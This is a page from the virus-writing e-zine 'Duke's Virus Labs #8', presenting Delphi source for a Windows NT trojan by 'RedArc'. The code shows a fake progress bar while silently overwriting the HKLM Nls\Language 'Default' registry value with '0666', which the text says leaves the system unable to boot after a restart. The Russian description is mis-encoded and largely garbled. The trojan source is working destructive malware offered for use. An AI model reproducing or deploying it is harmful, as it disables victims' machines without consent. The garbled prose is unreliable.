- [Duke's Virus Labs #8] - [Page 25] -

Trojan.WinNT.Registry
(c) by RedArc

         ⨫  楢...  ୮.  ५   
䥭  ᮢ襭  砩. ⠭     Windows NT
Work  Station  4.0    ࠢ  ॥      ᪮ ⥪ 
  ७  ணࠬ,  ⨯ Origin. ᪨ ⥪ .  
᭮  ॢ稪  Stylus 3.01 for Windows  ᠬ 㡮   ࠢ
뫠    ண...    ⮣    訫    ﭭ  蠣 - 訫
ࠢ  ॥ ᮢ襭   ६.  ࠢ. 䥪
.  訫  १㧨.    १㧨.    稭 ᠬ
᭮...
     ७  WinNT  諠    ᨭ ࠭ (  筮 ScanDisc
᪠)    ⪠    㧨 .      - 
䨣.    㯮୮  ।    㧨  ᪥  ᤥ Repair. 
  殢    ᮯ⨢  뫮 ᫮   㯨 ⠪,  頫
    - 㧨  ᪥  ᤥ Repair.  ⢠ ᮧ 
ࠡ稩  ⮫     ன  . ࠢ ࠤ ᪠, 
।騥  䨫    ࠭   Administrator.001,  ᪠ 
  䨫  ⪠  - ᪠    ࠢ. ࠪ㫨 
Favorit    ...  ,    ⥫쭮   ,  ⠭
⥬ .
       ⠭ ⥬ ...   ᫥⥫  㭨. 
⮣   ॡࠫ  ᢮ ࠡ稩   ਫ   ⮩ ⭮
६    ᪮  WinNT.  ⮣  -  諮 ⠢  ⥬  
ࠡ祬              ⮨  ᪠    Windows  NT 
ᯥਬ஢    ࠧ      .    ⠭ , 
.         த   ⨬ ᨢ
᭮ᮬ  Windows  NT    ⥫ﬨ  ୠ  DVL.    ᮡ⢥    ᠬ
६.    ਫ   ⥩ ﭥ  Delphi, 騩
 䥪 ⮪⮣ . ﭥ 뢠 SVA.EXE

  䠩 ॥:
             HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language\
६:
             Default = "0419"
 :
             Default = "0666"
    -      १㧨  .    ᢥ:
    ணࠬ C:\WINNT\RegEdit.Exe

 㤠 ;)
               RedArc // TAVC // c0mmAnd0s

===== Cut here =====
unit TrRegistry;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  RXSwitch, ExtCtrls, vgCtrls, RxGrdCpt, Gauges, RXCtrls;

type
  TForm1 = class(TForm)
    RxGradientCaption1: TRxGradientCaption;
    Titler1: TTitler;
    Panel1: TPanel;
    Gauge1: TGauge;
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormPaint(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses Registry;

const
     AVar      = 'Default';
     ARegPath  = 'System\CurrentControlSet\Control\Nls\Language';

var
  FRegistry : TRegistry;

{$R *.DFM}

procedure Write_Registry (RegPath, Parametr, S : String);
begin
  FRegistry := TRegistry.Create;
  FRegistry.RootKey := HKEY_LOCAL_MACHINE;
  FRegistry.OpenKey(RegPath,True);
  FRegistry.WriteString(Parametr, S);
  FRegistry.CloseKey;
  FRegistry.Free;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
     MessageDlg('   !', mtWarning,
      [mbOk], 0);
end;

procedure TForm1.FormPaint(Sender: TObject);
var
   i : integer;
begin
     Write_Registry(ARegPath,AVar,'0666');
     Sleep (100);
     for i := 1 to 100 do begin
         Gauge1.AddProgress(1);
         Sleep (100);
     end;
     Sleep (100);
     Panel1.Visible := False;
end;

end.
===== Cut here =====
